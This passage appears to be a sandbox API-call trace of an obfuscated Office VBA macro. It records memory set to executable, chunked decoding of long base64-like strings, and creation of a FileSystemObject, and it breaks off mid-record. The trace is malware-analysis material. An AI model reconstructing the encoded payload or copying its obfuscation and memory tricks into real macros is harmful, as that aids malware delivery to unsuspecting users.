1 [0053.585] VirtualProtect (in: lpAddress=0x6a99f2c, dwSize=0x48, flNewProtect=0x40, lpflOldProtect=0x126e3c | out: lpflOldProtect=0x126e3c*=0x40) returned 1 [0053.585] IUnknown:Release (This=0x68568f0) returned 0x1 [0053.585] IUnknown:Release (This=0x68568f0) returned 0x1 [0053.586] IUnknown:AddRef (This=0x68569a0) returned 0x3 [0053.586] IUnknown:QueryInterface (in: This=0x68569a0, riid=0x7fee4b35af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x1279f8 | out: ppvObject=0x1279f8*=0x0) returned 0x80004002 [0053.586] IUnknown:QueryInterface (in: This=0x68569a0, riid=0x7fee4b40b98*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x1279f0 | out: ppvObject=0x1279f0*=0x0) returned 0x80004002 [0053.586] IUnknown:Release (This=0x68569a0) returned 0x2 [0053.586] IUnknown:AddRef (This=0x6856a50) returned 0x9 [0053.586] IUnknown:QueryInterface (in: This=0x6856a50, riid=0x7fee4b35af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x1279f8 | out: ppvObject=0x1279f8*=0x0) returned 0x80004002 [0053.586] IUnknown:QueryInterface (in: This=0x6856a50, riid=0x7fee4b40b98*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x1279f0 | out: ppvObject=0x1279f0*=0x0) returned 0x80004002 [0053.586] IUnknown:Release (This=0x6856a50) returned 0x8 [0053.586] IUnknown:AddRef (This=0x68568f0) returned 0x2 [0053.586] IUnknown:QueryInterface (in: This=0x68568f0, riid=0x7fee4b35af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x1279f8 | out: ppvObject=0x1279f8*=0x0) returned 0x80004002 [0053.586] IUnknown:QueryInterface (in: This=0x68568f0, riid=0x7fee4b40b98*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x1279f0 | out: ppvObject=0x1279f0*=0x0) returned 0x80004002 [0053.586] IUnknown:Release (This=0x68568f0) returned 0x1 [0053.586] IMalloc:Alloc (This=0x7feffc15380, cb=0x8) returned 0x6a50730 [0053.586] IMalloc:GetSize (This=0x7feffc15380, pv=0x6a50730) returned 0x8 [0053.586] IMalloc:Alloc (This=0x7feffc15380, cb=0x78) returned 0x6a1ccd0 [0053.586] IMalloc:GetSize (This=0x7feffc15380, pv=0x6a1ccd0) returned 0x78 [0053.586] IUnknown:AddRef (This=0x6856a50) returned 0x9 [0053.586] IUnknown:QueryInterface (in: This=0x6856a50, riid=0x7fee4b35af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x127ad8 | out: ppvObject=0x127ad8*=0x0) returned 0x80004002 [0053.586] IUnknown:QueryInterface (in: This=0x6856a50, riid=0x7fee4b40b98*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x127ad0 | out: ppvObject=0x127ad0*=0x0) returned 0x80004002 [0053.586] IUnknown:Release (This=0x6856a50) returned 0x8 [0053.587] IMalloc:Alloc (This=0x7feffc15380, cb=0x8) returned 0x6a508f0 [0053.587] IMalloc:GetSize (This=0x7feffc15380, pv=0x6a508f0) returned 0x8 [0053.587] IMalloc:Alloc (This=0x7feffc15380, cb=0x78) returned 0x6a1cd50 [0053.587] IMalloc:GetSize (This=0x7feffc15380, pv=0x6a1cd50) returned 0x78 [0053.587] IMalloc:Alloc (This=0x7feffc15380, cb=0x8) returned 0x6a50900 [0053.587] IMalloc:GetSize (This=0x7feffc15380, pv=0x6a50900) returned 0x8 [0053.587] IMalloc:Alloc (This=0x7feffc15380, cb=0x78) returned 0x6a1cdd0 [0053.587] IMalloc:GetSize (This=0x7feffc15380, pv=0x6a1cdd0) returned 0x78 [0053.588] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0053.588] IMalloc:Alloc (This=0x7feffc15380, cb=0x40) returned 0x69c3fb0 [0053.588] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\VBA\\7.1\\Common", ulOptions=0x0, samDesired=0x1, phkResult=0x126b80 | out: phkResult=0x126b80*=0xa14) returned 0x0 [0053.588] RegQueryValueExA (in: hKey=0xa14, lpValueName="VbaCapability", lpReserved=0x0, lpType=0x0, lpData=0x126b78, lpcbData=0x126b70*=0x4 | out: lpType=0x0, lpData=0x126b78*=0x1, lpcbData=0x126b70*=0x4) returned 0x2 [0053.588] RegCloseKey (hKey=0xa14) returned 0x0 [0053.589] DispCallFunc (pvInstance=0x6a1ce30, oVft=0x38, cc=0x4, vtReturn=0xa, cActuals=0x0, prgvt=0x0, prgpvarg=0x0, pvargResult=0x126d90) returned 0x0 [0053.589] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x1000, lpStartAddress=0x7fee4791778, lpParameter=0x0, dwCreationFlags=0x0, lpThreadId=0x126860 | out: lpThreadId=0x126860*=0xa30) returned 0xa14 [0053.590] PeekMessageA (in: lpMsg=0x126800, hWnd=0x101f0, wMsgFilterMin=0x1045, wMsgFilterMax=0x1045, wRemoveMsg=0x3 | out: lpMsg=0x126800) returned 0 [0053.592] GetActiveWindow () returned 0x201ba [0053.592] IMalloc:Realloc (This=0x7feffc15380, pv=0x291f90, cb=0x800) returned 0x6444e30 [0053.592] IMalloc:Alloc (This=0x7feffc15380, cb=0x810) returned 0x645f110 [0053.592] IMalloc:Realloc (This=0x7feffc15380, pv=0x0, cb=0x30) returned 0x663f290 [0053.592] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0x4390000 [0053.593] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6a9b5f4, cbMultiByte=134, lpWideCharStr=0x43900dc, cchWideChar=270 | out: lpWideCharStr="WkcxR2VVbEhUVGxLTWs1SVQxUk9ZVmRGY0RaWlZXUlhZekpLUkZGWVVtbGlWR3d6VTFWTmVHSkhWa2hXYlhCS1VqQnZNVmt3WkVkbGJVNDFVVmhTV21WVlJuQlRhMmhLVDFaam") returned 134 [0053.593] IMalloc:Realloc (This=0x7feffc15380, pv=0x0, cb=0x412) returned 0x69e8770 [0053.593] IMalloc:Realloc (This=0x7feffc15380, pv=0x0, cb=0x200) returned 0x6910200 [0053.593] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6a9b67e, cbMultiByte=135, lpWideCharStr=0x439024e, cchWideChar=272 | out: lpWideCharStr="VGUnFWbXBOTVVweldXeE5NVlF4Y0ZsVldGWlhUV3hhY0ZaWE1WZGxSMUpZVm01d2ExSnFRVEpVTW5SUFpWWndXRkpxUW1GVk1tUjFXVlZvVTAxSFRrVmlNMXBOWld0VmVGUnJUV") returned 135 [0053.593] IMalloc:Alloc (This=0x7feffc15380, cb=0x230) returned 0x6a9a050 [0053.593] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6a9b70c, cbMultiByte=135, lpWideCharStr=0x4390422, cchWideChar=272 | out: lpWideCharStr="EJsUlRWd1RraHdUMlZVVWpSVVYzQktaR3hKZVU5WVdtRk5ibWh6Vm14b1EyRXhiRmxWYlhoTlRWWmFNMWRyWkVkTlJuQlVUbGhrYUZORlJuVlRNVko2V2pCd1NWTnRlR3BOTUVV") returned 135 [0053.593] IMalloc:Alloc (This=0x7feffc15380, cb=0x230) returned 0x6a9a2a0 [0053.593] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6a9b79a, cbMultiByte=135, lpWideCharStr=0x4390766, cchWideChar=272 | out: lpWideCharStr="MVUydG9TbVJXU1hsV2FrSldZbFphTmxrd1l6VmtWMDE1VmxjNVRGWklUbkpaTWpGWFpXMU9TVlJxUW1waVZscHZXV3hSZDJFeVRuUldibkJxVVhwV1NWZHNhRk5WTVhCWlZHNWt") returned 135 [0053.594] IMalloc:Alloc (This=0x7feffc15380, cb=0x230) returned 0x6a9a4f0 [0053.594] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6a9b828, cbMultiByte=135, lpWideCharStr=0x4390a2a, cchWideChar=272 | out: lpWideCharStr="hVTFxVmpaWGJGcFBUVWRPZEZadGFHbFZNbVIzVkROc1FtRXlUWHBUVkd4cFlsWlplbFJHWXpWaFYwWjBWbTF3YTFFd1NsVmFWbWhQVFVad1dFMUlWbFJXVkdneFZsUk9VMlZXY0") returned 135 [0053.594] IMalloc:Alloc (This=0x7feffc15380, cb=0x230) returned 0x6a9a740 [0053.594] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6a9b8b6, cbMultiByte=135, lpWideCharStr=0x4390cee, cchWideChar=272 | out: lpWideCharStr="ZoU2JsSldZbFphYjFkclpGZGxWV3hFVlc1c1lWZEZOVE5aZWs1VFpWWndXRkp1VWxCbFZVWnlWVlJKZUdFeFFsUlZibkJxWVZSV1ZGZHNaRWRoTVZwSVQxVmFhV0pXUm5aVE1WS") returned 135 [0053.594] IMalloc:Alloc (This=0x7feffc15380, cb=0x230) returned 0x6a9a990 [0053.594] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6a9b944, cbMultiByte=135, lpWideCharStr=0x4390fb2, cchWideChar=272 | out: lpWideCharStr="jZZVEZGZVUxWGRGRldibEpWV2xab1QwMUdjRmhOU0ZaWFVqRlpNRnBGVFRGU2JVcDBWRzVhWVZJeWVERlhha1YzVG1zNWMxWnNWbE5oYldReFZXcEtWMDFHVlhwVmJteG9WbnBX") returned 135 [0053.594] IMalloc:Alloc (This=0x7feffc15380, cb=0x230) returned 0x6a9abe0 [0053.594] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6a9b9d2, cbMultiByte=135, lpWideCharStr=0x4391276, cchWideChar=272 | out: lpWideCharStr="ZFZNd1dqQldSMVpaVkdwQ1lWWjZRakZWVkVrMVpGZFNkRlp1Ykd0U2FrRXlWREowWVdWWFNYbE5WVTVhVjBVMWMxUnRjRk5XUjFKSlUyNUNhV0pYVG5aVGExWlBaRVp3UkdFelF") returned 135 [0053.594] IMalloc:Alloc (This=0x7feffc15380, cb=0x230) returned 0x69f0020 [0053.594] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6a9ba60, cbMultiByte=135, lpWideCharStr=0x439153a, cchWideChar=272 | out: lpWideCharStr="sQmxWVVp5VjFSSmVHRXhVWHBXYWtKUlZsZDRNVnBITURWamJIQlVUVlZhYkZORlNqVlhiR2hQWlcxR1dFOVlWa3BSZWtaRldXcEplR1JHYkZoT1YzUlFZVlpLUlZsc1pGTlBSbE") returned 135 [0053.594] IMalloc:Alloc (This=0x7feffc15380, cb=0x230) returned 0x69f0270 [0053.594] IMalloc:Realloc (This=0x7feffc15380, pv=0x6998c30, cb=0x100) returned 0x6992300 [0053.594] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6a9baee, cbMultiByte=135, lpWideCharStr=0x43917fe, cchWideChar=272 | out: lpWideCharStr="Y2Vm1wQ1RWWnJOSGRaTWpGelpGWndObU15ZEZaaVZscEZXV3hrVWs5V1kzZFVibHBwWW14d2Mxa3lOVk5hUlRseFkwWldhVTFGY0c5WmVrcFdUV3MxUjFScVFtcGlWM2d4VjI1c") returned 135 [0053.594] IMalloc:Alloc (This=0x7feffc15380, cb=0x230) returned 0x69f04c0 [0053.594] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6a9bb7c, cbMultiByte=135, lpWideCharStr=0x4391ac2, cchWideChar=272 | out: lpWideCharStr="2IxbHNWWHBpU0hCclVqRmFNRlJIZUZOaVIxWkpWVmhXVTFaNlZuRlpha3BUWTBkS2RGcEhVbEJoYmtKWFZtdFdXazVGZUhKYVIzaHJVbFZ2TVZwRlpGZGxhM1JFVlcxd2FWWXhT") returned 135 [0053.594] IMalloc:Alloc (This=0x7feffc15380, cb=0x230) returned 0x69f0710 [0053.594] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6a9bc0a, cbMultiByte=135, lpWideCharStr=0x4391d86, cchWideChar=272 | out: lpWideCharStr="bEZhUm1oU1kwVjBWV015ZEd0WFJscDNWMnRSZUZOdFNuVlhibHBvVFd4V01GVnNhRzlrTWs1MFZtNXdhazF0ZURKWmJXeENaRVpGZVU5WVVtbFdNRm94VjJ0U2RtSnRVWGxOV0V") returned 135 [0053.595] IMalloc:Alloc (This=0x7feffc15380, cb=0x230) returned 0x69f0960 [0053.595] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6a9bc98, cbMultiByte=135, lpWideCharStr=0x439204a, cchWideChar=272 | out: lpWideCharStr="KYVpWVktjVmw2VGtObFYwbDVWV3BHV2sweFJtNVhha3BYVFVWc1NWWnFSbWhXTVVaMVdtdFZOVTFYVWtSTlZsSnJVMFZ3ZDFsdE1XcE9NSEJIVTIxNGExWXllSEpWUmxvd1VrZE") returned 135 [0053.595] IMalloc:Alloc (This=0x7feffc15380, cb=0x230) returned 0x69f0bb0 [0053.595] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6a9bd26, cbMultiByte=135, lpWideCharStr=0x439230e, cchWideChar=272 | out: lpWideCharStr="plVTVVU21GWFJXOTNWMFpTZGs1c1draFBWVTVhVjBVMWMxUnRjRk5XUjFKSlUyNUNhV0pYVG5aV2VrWlBUbGROZWxWdGVHbFZlbFpXVjJ4b2IwMUZlSEpXYmxaYVRXcHNjbGxXW") returned 135 [0053.595] IMalloc:Alloc (This=0x7feffc15380, cb=0x230) returned 0x69f0e00 [0053.595] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6a9bdb4, cbMultiByte=135, lpWideCharStr=0x43925d2, cchWideChar=272 | out: lpWideCharStr="XpGaWJHaFZZbnBhVjFac1NraFVNRTB4VTBad1dWVnJUbXhYUmtweldUTnNibUV5VWxsV2JrSmhVVEowZDFRemJGTlZWMUpaVkc1T1VWVXdSblZaVldoVFRVZE9SV0l6V2sxbGEx") returned 135 [0053.595] IMalloc:Alloc (This=0x7feffc15380, cb=0x230) returned 0x69f1050 [0053.595] IMalloc:Alloc (This=0x7feffc15380, cb=0x230) returned 0x69f12a0 [0053.595] IMalloc:Alloc (This=0x7feffc15380, cb=0x230) returned 0x69f14f0 [0053.595] IMalloc:Alloc (This=0x7feffc15380, cb=0x230) returned 0x69f1740 [0053.595] IMalloc:Realloc (This=0x7feffc15380, pv=0x6910200, cb=0x400) returned 0x291f90 [0053.595] IMalloc:Alloc (This=0x7feffc15380, cb=0x260) returned 0x665e7c0 [0053.596] IMalloc:Alloc (This=0x7feffc15380, cb=0x260) returned 0x665ea30 [0053.596] IMalloc:Alloc (This=0x7feffc15380, cb=0x260) returned 0x69f4020 [0053.596] IMalloc:Alloc (This=0x7feffc15380, cb=0x260) returned 0x69f4290 [0053.596] IMalloc:Alloc (This=0x7feffc15380, cb=0x260) returned 0x69f4500 [0053.596] IMalloc:Alloc (This=0x7feffc15380, cb=0xc0) returned 0x69a52d0 [0053.596] IMalloc:GetSize (This=0x7feffc15380, pv=0x69a52d0) returned 0xc0 [0053.597] IMalloc:Alloc (This=0x7feffc15380, cb=0x26d) returned 0x68fa160 [0053.597] IMalloc:GetSize (This=0x7feffc15380, pv=0x68fa160) returned 0x26d [0053.597] IMalloc:GetSize (This=0x7feffc15380, pv=0x68fa160) returned 0x26d [0053.597] IMalloc:GetSize (This=0x7feffc15380, pv=0x68fa160) returned 0x26d [0053.597] GetCurrentProcess () returned 0xffffffffffffffff [0053.597] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x68fa160, dwSize=0x54) returned 1 [0053.597] IMalloc:Free (This=0x7feffc15380, pv=0x68fa160) [0053.597] IMalloc:Realloc (This=0x7feffc15380, pv=0x0, cb=0x412) returned 0x69e8bc0 [0053.597] IMalloc:Alloc (This=0x7feffc15380, cb=0x318) returned 0x6a94960 [0053.597] IMalloc:Alloc (This=0x7feffc15380, cb=0x26d) returned 0x68fa160 [0053.597] IMalloc:GetSize (This=0x7feffc15380, pv=0x68fa160) returned 0x26d [0053.597] IMalloc:GetSize (This=0x7feffc15380, pv=0x68fa160) returned 0x26d [0053.597] IMalloc:GetSize (This=0x7feffc15380, pv=0x68fa160) returned 0x26d [0053.597] GetCurrentProcess () returned 0xffffffffffffffff [0053.597] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x68fa160, dwSize=0x54) returned 1 [0053.597] IMalloc:Free (This=0x7feffc15380, pv=0x68fa160) [0053.597] IMalloc:Alloc (This=0x7feffc15380, cb=0x26d) returned 0x68fa160 [0053.597] IMalloc:GetSize (This=0x7feffc15380, pv=0x68fa160) returned 0x26d [0053.597] IMalloc:GetSize (This=0x7feffc15380, pv=0x68fa160) returned 0x26d [0053.597] IMalloc:GetSize (This=0x7feffc15380, pv=0x68fa160) returned 0x26d [0053.597] GetCurrentProcess () returned 0xffffffffffffffff [0053.597] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x68fa160, dwSize=0x54) returned 1 [0053.597] IMalloc:Free (This=0x7feffc15380, pv=0x68fa160) [0053.597] IMalloc:Realloc (This=0x7feffc15380, pv=0x0, cb=0x412) returned 0x69e9010 [0053.597] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6a9c5f6, cbMultiByte=26, lpWideCharStr=0x43a35ce, cchWideChar=54 | out: lpWideCharStr="Scripting.FileSystemObject") returned 26 [0053.597] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="CreateObject") returned 0x108af8 [0053.597] strcpy_s (in: _Dst=0x124f00, _DstSize=0xd, _Src="CreateObject" | out: _Dst="CreateObject") returned 0x0 [0053.598] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x124f00, cbMultiByte=13, lpWideCharStr=0x124d50, cchWideChar=13 | out: lpWideCharStr="CreateObject") returned 13 [0053.598] IUnknown:AddRef (This=0x677d9c0) returned 0x8 [0053.598] ITypeLib:RemoteIsName (in: This=0x677d9c0, szNameBuf="CreateObject", lHashVal=0x108af8, pfName=0x124e20, pBstrLibName=0x124d50 | out: pfName=0x124e20*=1, pBstrLibName=0x124d50) returned 0x0 [0053.598] IUnknown:Release (This=0x677d9c0) returned 0x7 [0053.598] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateObject", cchWideChar=-1, lpMultiByteStr=0x124f00, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateObject", lpUsedDefaultChar=0x0) returned 13 [0053.598] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="CreateObject") returned 0x108af8 [0053.598] IUnknown:Release (This=0x68569a0) returned 0x3 [0053.598] IUnknown:Release (This=0x68569a0) returned 0x2 [0053.598] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3ef2bca, cbMultiByte=13, lpWideCharStr=0x124e80, cchWideChar=14 | out: lpWideCharStr="CreateObject") returned 13 [0053.598] ITypeComp:RemoteBind (in: This=0x68569a8, szName="CreateObject", lHashVal=0x108af8, wFlags=0x3, ppTInfo=0x124e38, pDescKind=0x124e4c, ppFuncDesc=0x124e50, ppVarDesc=0x7feffd82ca4, ppTypeComp=0x0, pDummy=0x0 | out: ppTInfo=0x124e38*=0x0, pDescKind=0x124e4c*=0, ppFuncDesc=0x124e50, ppVarDesc=0x7feffd82ca4, ppTypeComp=0x0, pDummy=0x0) returned 0x0 [0053.598] IMalloc:Realloc (This=0x7feffc15380, pv=0x6998cc0, cb=0x100) returned 0x6992410 [0053.598] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3c02e2e, cbMultiByte=13, lpWideCharStr=0x124fe0, cchWideChar=14 | out: lpWideCharStr="CreateObject") returned 13 [0053.598] ITypeComp:RemoteBind (in: This=0x677d9d0, szName="CreateObject", lHashVal=0x108af8, wFlags=0x3, ppTInfo=0x124f98, pDescKind=0x124fac, ppFuncDesc=0x124fb0, ppVarDesc=0x69b10c0, ppTypeComp=0x0, pDummy=0x0 | out: ppTInfo=0x124f98*=0x69b28a8, pDescKind=0x124fac*=1, ppFuncDesc=0x124fb0, ppVarDesc=0x69b10c0, ppTypeComp=0x0, pDummy=0x0) returned 0x0 [0053.599] ITypeInfo:RemoteGetTypeAttr (in: This=0x69b28a8, ppTypeAttr=0x124fa0, pDummy=0x1 | out: ppTypeAttr=0x124fa0, pDummy=0x1) returned 0x0 [0053.599] ITypeInfo:LocalReleaseTypeAttr (This=0x69b28a8) returned 0x0 [0053.599] IMalloc:Realloc (This=0x7feffc15380, pv=0x6a80540, cb=0x100) returned 0x6992520 [0053.599] SysStringByteLen (bstr="") returned 0x0 [0053.599] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=0, lpMultiByteStr=0x124d10, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pN\x12", lpUsedDefaultChar=0x0) returned 0 [0053.599] IUnknown:QueryInterface (in: This=0x69b28a8, riid=0x7fee4b340f0*(Data1=0x20412, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x124d40 | out: ppvObject=0x124d40*=0x69b28a8) returned 0x0 [0053.599] ITypeInfo2:GetFuncIndexOfMemId (in: This=0x69b28a8, memid=1610612738, invkind=1, pFuncIndex=0x124d38 | out: pFuncIndex=0x124d38*=0x2) returned 0x0 [0053.599] ITypeInfo2:GetParamCustData (in: This=0x69b28a8, indexFunc=0x2, indexParam=0x1, GUID=0x7fee4b44e80*(Data1=0x270d72b0, Data2=0xffb8, Data3=0x11cf, Data4=([0]=0xa4, [1]=0xbd, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xf, [6]=0x26, [7]=0xee)), pVarVal=0x124d48 | out: pVarVal=0x124d48*(varType=0x0, wReserved1=0x699, wReserved2=0x0, wReserved3=0x0, varVal1=0x6a09400, varVal2=0x125a58)) returned 0x0 [0053.599] IUnknown:Release (This=0x69b28a8) returned 0x1 [0053.599] IUnknown:QueryInterface (in: This=0x69b28a8, riid=0x7fee4b340f0*(Data1=0x20412, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x124e00 | out: ppvObject=0x124e00*=0x69b28a8) returned 0x0 [0053.599] ITypeInfo2:GetFuncIndexOfMemId (in: This=0x69b28a8, memid=1610612738, invkind=1, pFuncIndex=0x124e40 | out: pFuncIndex=0x124e40*=0x2) returned 0x0 [0053.599] ITypeInfo2:GetFuncCustData (in: This=0x69b28a8, index=0x2, GUID=0x7fee4b43758*(Data1=0x50867b00, Data2=0xbb69, Data3=0x11d0, Data4=([0]=0xa8, [1]=0xff, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0x11, [6]=0x0, [7]=0x59)), pVarVal=0x124e58 | out: pVarVal=0x124e58*(varType=0x0, wReserved1=0x12, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x108af8)) returned 0x0 [0053.599] IUnknown:Release (This=0x69b28a8) returned 0x1 [0053.599] IUnknown:AddRef (This=0x69b28a8) returned 0x2 [0053.599] ITypeInfo:LocalReleaseFuncDesc (This=0x69b28a8) returned 0x0 [0053.599] IUnknown:Release (This=0x69b28a8) returned 0x1 [0053.599] IUnknown:QueryInterface (in: This=0x69b28a8, riid=0x7fee4b35af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x1250c8 | out: ppvObject=0x1250c8*=0x0) returned 0x80004002 [0053.599] IUnknown:AddRef (This=0x69b28a8) returned 0x2 [0053.599] IUnknown:QueryInterface (in: This=0x69b28a8, riid=0x7fee4b35af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x125050 | out: ppvObject=0x125050*=0x0) returned 0x80004002 [0053.599] IUnknown:QueryInterface (in: This=0x69b28a8, riid=0x7fee4b35af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x125020 | out: ppvObject=0x125020*=0x0) returned 0x80004002 [0053.599] IUnknown:QueryInterface (in: This=0x69b28a8, riid=0x7fee4b40b98*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x125010 | out: ppvObject=0x125010*=0x0) returned 0x80004002 [0053.599] IUnknown:QueryInterface (in: This=0x69b28a8, riid=0x7fee4b40b88*(Data1=0xcacc1e88, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x125018 | out: ppvObject=0x125018*=0x0) returned 0x80004002 [0053.599] ITypeInfo:RemoteGetTypeAttr (in: This=0x69b28a8, ppTypeAttr=0x125048, pDummy=0x10 | out: ppTypeAttr=0x125048, pDummy=0x10) returned 0x0 [0053.599] ITypeInfo:LocalReleaseTypeAttr (This=0x69b28a8) returned 0x0 [0053.599] IUnknown:AddRef (This=0x69b28a8) returned 0x3 [0053.599] IUnknown:Release (This=0x69b28a8) returned 0x2 [0053.599] IUnknown:QueryInterface (in: This=0x69b28a8, riid=0x7fee4b35af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x125238 | out: ppvObject=0x125238*=0x0) returned 0x80004002 [0053.599] IUnknown:QueryInterface (in: This=0x69b28a8, riid=0x7fee4b40b98*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x125230 | out: ppvObject=0x125230*=0x0) returned 0x80004002 [0053.601] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x699261c, cbMultiByte=0, lpWideCharStr=0x43a3798, cchWideChar=2 | out: lpWideCharStr="") returned 0 [0053.601] ITypeInfo:RemoteGetContainingTypeLib (in: This=0x69b28a8, ppTLib=0x124a70, pIndex=0x0 | out: ppTLib=0x124a70*=0x677d9c0, pIndex=0x0) returned 0x0 [0053.601] ITypeLib:RemoteGetLibAttr (in: This=0x677d9c0, ppTLibAttr=0x124a80, pDummy=0x0 | out: ppTLibAttr=0x124a80, pDummy=0x0) returned 0x0 [0053.601] ITypeLib:LocalReleaseTLibAttr (This=0x677d9c0) returned 0x0 [0053.601] IUnknown:Release (This=0x677d9c0) returned 0x9 [0053.601] ITypeInfo:RemoteGetDllEntry (in: This=0x69b28a8, memid=1610612738, invkind=1, refPtrFlags=0x124a70, pBstrDllName=0x0, pbstrName=0x0, pwOrdinal=0x26c4f80 | out: pBstrDllName=0x0, pbstrName=0x0, pwOrdinal=0x26c4f80*=0x5380) returned 0x0 [0053.601] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBE7.DLL", cchWideChar=-1, lpMultiByteStr=0x7fee4b6d830, cbMultiByte=1023, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VBE7.DLL", lpUsedDefaultChar=0x0) returned 9 [0053.601] strcpy_s (in: _Dst=0x69f1440, _DstSize=0x9, _Src="VBE7.DLL" | out: 